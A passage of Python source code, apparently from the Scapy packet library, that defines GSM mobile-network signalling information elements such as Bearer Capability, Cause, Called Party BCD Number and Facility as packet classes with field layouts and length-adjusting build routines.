0x0), ByteField("rejCause", 0x0) ] class FollowOnProceed(Packet): """Follow-on Proceed Section 10.5.3.7""" name = "Follow-on Proceed" fields_desc = [ ByteField("ieiFOP", 0x0), ] class TimeZoneHdr(Packet): """Time Zone Section 10.5.3.8""" name = "Time Zone" fields_desc = [ BitField("eightBitTZ", None, 1), XBitField("ieiTZ", None, 7), ByteField("timeZone", 0x0), ] class TimeZoneAndTimeHdr(Packet): """Time Zone and Time Section 10.5.3.9""" name = "Time Zone and Time" fields_desc = [ BitField("eightBitTZAT", None, 1), XBitField("ieiTZAT", None, 7), ByteField("year", 0x0), ByteField("month", 0x0), ByteField("day", 0x0), ByteField("hour", 0x0), ByteField("minute", 0x0), ByteField("second", 0x0), ByteField("timeZone", 0x0) ] class CtsPermissionHdr(Packet): """CTS permission Section 10.5.3.10""" name = "Cts Permission" fields_desc = [ BitField("eightBitCP", None, 1), XBitField("ieiCP", None, 7), ] class LsaIdentifierHdr(Packet): """LSA Identifier Section 10.5.3.11""" name = "Lsa Identifier" fields_desc = [ BitField("eightBitLI", None, 1), XBitField("ieiLI", None, 7), ByteField("lsaID", 0x0), ByteField("lsaID1", 0x0), ByteField("lsaID2", 0x0) ] # # 10.5.4 Call control information elements # #10.5.4.1 Extensions of codesets # This is only text and no packet class LockingShiftProcedureHdr(Packet): """Locking shift procedure Section 10.5.4.2""" name = "Locking Shift Procedure" fields_desc = [ XBitField("ieiLSP", None, 4), BitField("lockShift", 0x0, 1), BitField("codesetId", 0x0, 3) ] class NonLockingShiftProcedureHdr(Packet): """Non-locking shift procedure Section 10.5.4.3""" name = "Non-locking Shift Procedure" fields_desc = [ XBitField("ieiNLSP", None, 4), BitField("nonLockShift", 0x1, 1), BitField("codesetId", 0x0, 3) ] class AuxiliaryStatesHdr(Packet): """Auxiliary states Section 10.5.4.4""" name = "Auxiliary States" fields_desc = [ BitField("eightBitAS", None, 1), XBitField("ieiAS", None, 7), XByteField("lengthAS", 0x3), BitField("ext", 0x1, 1), BitField("spare", 0x0, 3), BitField("holdState", 0x0, 2), BitField("mptyState", 0x0, 2) ] # len 3 to 15 class BearerCapabilityHdr(Packet): """Bearer capability Section 10.5.4.5""" name = "Bearer Capability" fields_desc = [ BitField("eightBitBC", None, 1), XBitField("ieiBC", None, 7), XByteField("lengthBC", None), BitField("ext0", 0x1, 1), BitField("radioChReq", 0x1, 2), BitField("codingStd", 0x0, 1), BitField("transMode", 0x0, 1), BitField("infoTransCa", 0x0, 3), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("coding", None, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("spare", None, 2), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("speechVers", 0x0, 4), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("compress", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("structure", None, 2), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("dupMode", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("config", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("nirr", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("establi", 0x0, 1), lambda pkt: pkt.ext1 == 0), BitField("ext3", None, 1), BitField("accessId", None, 2), BitField("rateAda", None, 2), BitField("signaling", None, 3), ConditionalField(BitField("ext4", None, 1), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherITC", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherRate", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("spare1", 0x0, 3), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("ext5", 0x1, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("hdr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("multiFr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("mode", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("lli", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("assig", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("inbNeg", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("spare2", 0x0, 1), lambda pkt: pkt.ext4 == 0), BitField("ext6", None, 1), BitField("layer1Id", None, 2), BitField("userInf", None, 4), BitField("sync", None, 1), ConditionalField(BitField("ext7", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("stopBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("negoc", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("nbDataBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("userRate", None, 4), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("ext8", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("interRate", None, 2), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicTX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicRX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("parity", None, 3), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("ext9", None, 1), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("connEle", None, 2), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("modemType", None, 5), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("ext10", None, 1), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("otherModemType", None, 2), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("netUserRate", None, 5), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("ext11", None, 1), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("chanCoding", None, 4), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("maxTrafficChan", None, 3), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("ext12", None, 1), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("uimi", None, 3), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("airInterfaceUserRate", None, 4), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("ext13", 0x1, 1), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("layer2Ch", None, 2), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("userInfoL2", 0x0, 5), lambda pkt: pkt.ext12 == 0) ] # We have a bug here. packet is not working if used in message def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 15, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] # avoids a bug. find better way if len(p) is 5: p = p[:-2] if self.lengthBC is None: print("len von a %s" % (len(p),)) p = p[:1] + struct.pack(">B", len(p)-3) + p[2:] return p + pay class CallControlCapabilitiesHdr(Packet): """Call Control Capabilities Section 10.5.4.5a""" name = "Call Control Capabilities" fields_desc = [ BitField("eightBitCCC", None, 1), XBitField("ieiCCC", None, 7), XByteField("lengthCCC", 0x3), BitField("spare", 0x0, 6), BitField("pcp", 0x0, 1), BitField("dtmf", 0x0, 1) ] class CallStateHdr(Packet): """Call State Section 10.5.4.6""" name = "Call State" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), BitField("codingStd", 0x0, 2), BitField("stateValue", 0x0, 6) ] # len 3 to 43 class CalledPartyBcdNumberHdr(Packet): """Called party BCD number Section 10.5.4.7""" name = "Called Party BCD Number" fields_desc = [ BitField("eightBitCPBN", None, 1), XBitField("ieiCPBN", None, 7), XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), BitField("nbDigit32", None, 4), BitField("nbDigit31", None, 4), BitField("nbDigit34", None, 4), BitField("nbDigit33", None, 4), BitField("nbDigit36", None, 4), BitField("nbDigit35", None, 4), BitField("nbDigit38", None, 4), BitField("nbDigit37", None, 4), BitField("nbDigit40", None, 4), BitField("nbDigit39", None, 4), # ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^ BitField("nbDigit42", None, 4), BitField("nbDigit41", None, 4), BitField("nbDigit44", None, 4), BitField("nbDigit43", None, 4), BitField("nbDigit46", None, 4), BitField("nbDigit45", None, 4), BitField("nbDigit48", None, 4), BitField("nbDigit47", None, 4), BitField("nbDigit50", None, 4), BitField("nbDigit49", None, 4), BitField("nbDigit52", None, 4), BitField("nbDigit51", None, 4), BitField("nbDigit54", None, 4), BitField("nbDigit53", None, 4), BitField("nbDigit56", None, 4), BitField("nbDigit55", None, 4), BitField("nbDigit58", None, 4), BitField("nbDigit57", None, 4), BitField("nbDigit60", None, 4), BitField("nbDigit59", None, 4), BitField("nbDigit62", None, 4), BitField("nbDigit61", None, 4), BitField("nbDigit64", None, 4), BitField("nbDigit63", None, 4), BitField("nbDigit66", None, 4), BitField("nbDigit65", None, 4), BitField("nbDigit68", None, 4), BitField("nbDigit67", None, 4), BitField("nbDigit70", None, 4), BitField("nbDigit69", None, 4), BitField("nbDigit72", None, 4), BitField("nbDigit71", None, 4), BitField("nbDigit74", None, 4), BitField("nbDigit73", None, 4), BitField("nbDigit76", None, 4), BitField("nbDigit75", None, 4), BitField("nbDigit78", None, 4), BitField("nbDigit77", None, 4), BitField("nbDigit80", None, 4), BitField("nbDigit79", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 43, a, self.fields_desc, 2) if self.lengthCPBN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 2 to 23 class CalledPartySubaddressHdr(Packet): """Called party subaddress Section 10.5.4.8""" name = "Called Party Subaddress" fields_desc = [ BitField("eightBitCPS", None, 1), XBitField("ieiCPS", None, 7), XByteField("lengthCPS", None), # optional BitField("ext", None, 1), BitField("subAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 23, a, self.fields_desc) if self.lengthCPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 3 to 14 class CallingPartyBcdNumberHdr(Packet): """Called party subaddress Section 10.5.4.9""" name = "Called Party Subaddress" fields_desc = [ BitField("eightBitCPBN", None, 1), XBitField("ieiCPBN", None, 7), XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 14, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthCPBN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # len 2 to 23 class CallingPartySubaddressHdr(Packet): """Calling party subaddress Section 10.5.4.10""" name = "Calling Party Subaddress" fields_desc = [ BitField("eightBitCPS", None, 1), XBitField("ieiCPS", None, 7), XByteField("lengthCPS", None), # optional BitField("ext1", None, 1), BitField("typeAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 23, a, self.fields_desc) if self.lengthCPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 4 to 32 class CauseHdr(Packet): """Cause Section 10.5.4.11""" name = "Cause" fields_desc = [ BitField("eightBitC", None, 1), XBitField("ieiC", None, 7), XByteField("lengthC", None), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("recommendation", 0x0, 7), lambda pkt: pkt.ext == 0), # optional BitField("ext2", None, 1), BitField("causeValue", None, 7), ByteField("diagnositc0", None), ByteField("diagnositc1", None), ByteField("diagnositc2", None), ByteField("diagnositc3", None), ByteField("diagnositc4", None), ByteField("diagnositc5", None), ByteField("diagnositc6", None), ByteField("diagnositc7", None), ByteField("diagnositc8", None), ByteField("diagnositc9", None), ByteField("diagnositc10", None), ByteField("diagnositc11", None), ByteField("diagnositc12", None), ByteField("diagnositc13", None), ByteField("diagnositc14", None), ByteField("diagnositc15", None), ByteField("diagnositc16", None), ByteField("diagnositc17", None), ByteField("diagnositc18", None), ByteField("diagnositc19", None), ByteField("diagnositc20", None), ByteField("diagnositc21", None), ByteField("diagnositc22", None), ByteField("diagnositc23", None), ByteField("diagnositc24", None), ByteField("diagnositc25", None), ByteField("diagnositc26", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 32, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthC is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay class ClirSuppressionHdr(Packet): """CLIR suppression Section 10.5.4.11a""" name = "Clir Suppression" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), ] class ClirInvocationHdr(Packet): """CLIR invocation Section 10.5.4.11b""" name = "Clir Invocation" fields_desc = [ BitField("eightBitCI", None, 1), XBitField("ieiCI", None, 7), ] class CongestionLevelHdr(Packet): """Congestion level Section 10.5.4.12""" name = "Congestion Level" fields_desc = [ XBitField("ieiCL", None, 4), BitField("notDef", 0x0, 4) ] # Fix 1/2 len problem class CongestionLevelAndSpareHalfOctets(Packet): name = "Congestion Level and Spare Half Octets" fields_desc = [ BitField("ieiCL", 0x0, 4), BitField("spareHalfOctets", 0x0, 4) ] # len 3 to 14 class ConnectedNumberHdr(Packet): """Connected number Section 10.5.4.13""" name = "Connected Number" fields_desc = [ BitField("eightBitCN", None, 1), XBitField("ieiCN", None, 7), XByteField("lengthCN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("typePlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4) ] def post_build(self, p, pay): aList = [] a = [] i = 0 sum1 = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 14, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthCN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # len 2 to 23 class ConnectedSubaddressHdr(Packet): """Connected subaddress Section 10.5.4.14""" name = "Connected Subaddress" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), XByteField("lengthCS", None), # optional BitField("ext", None, 1), BitField("typeOfSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 23, a, self.fields_desc) if self.lengthCS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 2 to L3 (251) (done) class FacilityHdr(Packet): """Facility Section 10.5.4.15""" name = "Facility" fields_desc = [ BitField("eightBitF", None, 1), XBitField("ieiF", None, 7), XByteField("lengthF", None), # optional ByteField("facilityInfo1", None), ByteField("facilityInfo2", None), ByteField("facilityInfo3", None), ByteField("facilityInfo4", None), ByteField("facilityInfo5", None), ByteField("facilityInfo6", None), ByteField("facilityInfo7", None), ByteField("facilityInfo8", None), ByteField("facilityInfo9", None), ByteField("facilityInfo10", None), ByteField("facilityInfo11", None), ByteField("facilityInfo12", None), ByteField("facilityInfo13", None), ByteField("facilityInfo14", None), ByteField("facilityInfo15", None), ByteField("facilityInfo16", None), ByteField("facilityInfo17", None), ByteField("facilityInfo18", None), ByteField("facilityInfo19", None), ByteField("facilityInfo20", None), ByteField("facilityInfo21", None), ByteField("facilityInfo22", None), ByteField("facilityInfo23", None), ByteField("facilityInfo24", None), ByteField("facilityInfo25", None), ByteField("facilityInfo26", None), ByteField("facilityInfo27", None), ByteField("facilityInfo28", None), ByteField("facilityInfo29", None), ByteField("facilityInfo30", None), ByteField("facilityInfo31", None), ByteField("facilityInfo32", None), ByteField("facilityInfo33", None), ByteField("facilityInfo34", None), ByteField("facilityInfo35", None), ByteField("facilityInfo36", None), ByteField("facilityInfo37", None), ByteField("facilityInfo38", None), ByteField("facilityInfo39", None), ByteField("facilityInfo40", None), ByteField("facilityInfo41", None), ByteField("facilityInfo42", None), ByteField("facilityInfo43", None), ByteField("facilityInfo44", None), ByteField("facilityInfo45", None), ByteField("facilityInfo46", None), ByteField("facilityInfo47", None), ByteField("facilityInfo48", None), ByteField("facilityInfo49", None), ByteField("facilityInfo50", None), ByteField("facilityInfo51", None), ByteField("facilityInfo52", None), ByteField("facilityInfo53", None), ByteField("facilityInfo54", None), ByteField("facilityInfo55", None), ByteField("facilityInfo56", None), ByteField("facilityInfo57", None), ByteField("facilityInfo58", None), ByteField("facilityInfo59", None), ByteField("facilityInfo60", None), ByteField("facilityInfo61", None), ByteField("facilityInfo62", None), ByteField("facilityInfo63", None), ByteField("facilityInfo64", None), ByteField("facilityInfo65", None), ByteField("facilityInfo66", None), ByteField("facilityInfo67", None), ByteField("facilityInfo68", None), ByteField("facilityInfo69", None), ByteField("facilityInfo70", None), ByteField("facilityInfo71", None), ByteField("facilityInfo72", None), ByteField("facilityInfo73", None), ByteField("facilityInfo74", None), ByteField("facilityInfo75", None), ByteField("facilityInfo76", None), ByteField("facilityInfo77", None), ByteField("facilityInfo78", None), ByteField("facilityInfo79", None), ByteField("facilityInfo80", None), ByteField("facilityInfo81", None), ByteField("facilityInfo82", None), ByteField("facilityInfo83", None), ByteField("facilityInfo84", None), ByteField("facilityInfo85", None), ByteField("facilityInfo86", None), ByteField("facilityInfo87", None), ByteField("facilityInfo88", None), ByteField("facilityInfo89", None), ByteField("facilityInfo90", None), ByteField("facilityInfo91", None), ByteField("facilityInfo92", None), ByteField("facilityInfo93", None), ByteField("facilityInfo94", None), ByteField("facilityInfo95", None), ByteField("facilityInfo96", None), ByteField("facilityInfo97", None), ByteField("facilityInfo98", None), ByteField("facilityInfo99", None), ByteField("facilityInfo100", None), ByteField("facilityInfo101", None), ByteField("facilityInfo102", None), ByteField("facilityInfo103", None), ByteField("facilityInfo104", None), ByteField("facilityInfo105", None), ByteField("facilityInfo106", None), ByteField("facilityInfo107", None), ByteField("facilityInfo108", None), ByteField("facilityInfo109", None), ByteField("facilityInfo110", None), ByteField("facilityInfo111", None), ByteField("facilityInfo112", None), ByteField("facilityInfo113", None), ByteField("facilityInfo114", None), ByteField("facilityInfo115", None), ByteField("facilityInfo116", None), ByteField("facilityInfo117", None), ByteField("facilityInfo118", None), ByteField("facilityInfo119", None), ByteField("facilityInfo120", None), ByteField("facilityInfo121", None), ByteField("facilityInfo122", None), ByteField("facilityInfo123", None), ByteField("facilityInfo124", None), ByteField("facilityInfo125", None), ByteField("facilityInfo126", None), ByteField("facilityInfo127", None), ByteField("facilityInfo128", None), ByteField("facilityInfo129", None), ByteField("facilityInfo130", None), ByteField("facilityInfo131", None), ByteField("facilityInfo132", None), ByteField("facilityInfo133", None), ByteField("facilityInfo134", None), ByteField("facilityInfo135", None), ByteField("facilityInfo136", None), ByteField("facilityInfo137", None), ByteField("facilityInfo138", None), ByteField("facilityInfo139", None), ByteField("facilityInfo140", None), ByteField("facilityInfo141", None), ByteField("facilityInfo142", None), ByteField("facilityInfo143", None), ByteField("facilityInfo144", None), ByteField("facilityInfo145", None), ByteField("facilityInfo146", None), ByteField("facilityInfo147", None), ByteField("facilityInfo148", None), ByteField("facilityInfo149", None), ByteField("facilityInfo150", None), ByteField("facilityInfo151", None), ByteField("facilityInfo152", None), ByteField("facilityInfo153", None), ByteField("facilityInfo154", None), ByteField("facilityInfo155", None), ByteField("facilityInfo156", None), ByteField("facilityInfo157", None), ByteField("facilityInfo158", None), ByteField("facilityInfo159", None), ByteField("facilityInfo160", None), ByteField("facilityInfo161", None), ByteField("facilityInfo162", None), ByteField("facilityInfo163", None), ByteField("facilityInfo164", None), ByteField("facilityInfo165", None), ByteField("facilityInfo166", None), ByteField("facilityInfo167", None), ByteField("facilityInfo168", None), ByteField("facilityInfo169", None), ByteField("facilityInfo170", None), ByteField("facilityInfo171", None), ByteField("facilityInfo172", None), ByteField("facilityInfo173", None), ByteField("facilityInfo174", None), ByteField("facilityInfo175", None), ByteField("facilityInfo176", None), ByteField("facilityInfo177", None), ByteField("facilityInfo178", None), ByteField("facilityInfo179", None), ByteField("facilityInfo180", None), ByteField("facilityInfo181", None), ByteField("facilityInfo182", None), ByteField("facilityInfo183", None), ByteField("facilityInfo184", None), ByteField("facilityInfo185", None), ByteField("facilityInfo186", None), ByteField("facilityInfo187", None), ByteField("facilityInfo188", None), ByteField("facilityInfo189", None), ByteField("facilityInfo190", None), ByteField("facilityInfo191", None), ByteField("facilityInfo192", None), ByteField("facilityInfo193", None), ByteField("facilityInfo194", None), ByteField("facilityInfo195", None), ByteField("facilityInfo196", None), ByteField("facilityInfo197", None), ByteField("facilityInfo198", None), ByteField("facilityInfo199", None), ByteField("facilityInfo200", None), ByteField("facilityInfo201", None), ByteField("facilityInfo202", None), ByteField("facilityInfo203", None), ByteField("facilityInfo204", None), ByteField("facilityInfo205", None), ByteField("facilityInfo206", None), ByteField("facilityInfo207", None), ByteField("facilityInfo208", None), ByteField("facilityInfo209", None), ByteField("facilityInfo210", None), ByteField("facilityInfo211", None), ByteField("facilityInfo212", None), ByteField("facilityInfo213", None), ByteField("facilityInfo214", None), ByteField("facilityInfo215", None), ByteField("facilityInfo216", None), ByteField("facilityInfo217", None), ByteField("facilityInfo218", None), ByteField("facilityInfo219", None), ByteField("facilityInfo220", None), ByteField("facilityInfo221", None), ByteField("facilityInfo222", None), ByteField("facilityInfo223", None), ByteField("facilityInfo224", None), ByteField("facilityInfo225", None), ByteField("facilityInfo226", None), ByteField("facilityInfo227", None), ByteField("facilityInfo228", None), ByteField("facilityInfo229", None), ByteField("facilityInfo230", None), ByteField("facilityInfo231", None), ByteField("facilityInfo232", None), ByteField("facilityInfo233", None), ByteField("facilityInfo234", None), ByteField("facilityInfo235", None), ByteField("facilityInfo236", None), ByteField("facilityInfo237", None), ByteField("facilityInfo238", None), ByteField("facilityInfo239", None), ByteField("facilityInfo240", None), ByteField("facilityInfo241", None), ByteField("facilityInfo242", None), ByteField("facilityInfo243", None), ByteField("facilityInfo244", None), ByteField("facilityInfo245", None), ByteField("facilityInfo246", None), ByteField("facilityInfo247", None), ByteField("facilityInfo248", None), ByteField("facilityInfo249", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 251, a, self.fields_desc) if self.lengthF is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay #len 2 to 5 class HighLayerCompatibilityHdr(Packet): """High layer compatibility Section 10.5.4.16""" name = "High Layer Compatibility" fields_desc = [ BitField("eightBitHLC", None, 1), XBitField("ieiHLC", None, 7), XByteField("lengthHLC", None), # optional BitField("ext", None, 1), BitField("codingStd", None, 2), BitField("interpret", None, 3), BitField("presMeth", None, 2), BitField("ext1", None, 1), BitField("highLayerId", None, 7), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("exHiLayerId", 0x0, 7), lambda pkt: pkt.ext1 == 0) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 5, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthHLC is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # # 10.5.4.16.1 Static conditions for the high layer # compatibility IE contents # class KeypadFacilityHdr(Packet): """Keypad facility Section 10.5.4.17""" name = "Keypad Facility" fields_desc = [ BitField("eightBitKF", None, 1), XBitField("ieiKF", None, 7), BitField("spare", 0x0, 1), BitField("keyPadInfo", 0x0, 7) ] # len 2 to 15 class LowLayerCompatibilityHdr(Packet): """Low layer compatibility Section 10.5.4.18""" name = "Low Layer Compatibility" fields_desc = [ BitField("eightBitLLC", None, 1), XBitField("ieiLLC", None, 7), XByteField("lengthLLC", None), # optional ByteField("rest0", None), ByteField("rest1", None), ByteField("rest2", None), ByteField("rest3", None), ByteField("rest4", None), ByteField("rest5", None), ByteField("rest6", None), ByteField("rest7", None), ByteField("rest8", None), ByteField("rest9", None), ByteField("rest10", None), ByteField("rest11", None), ByteField("rest12", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in 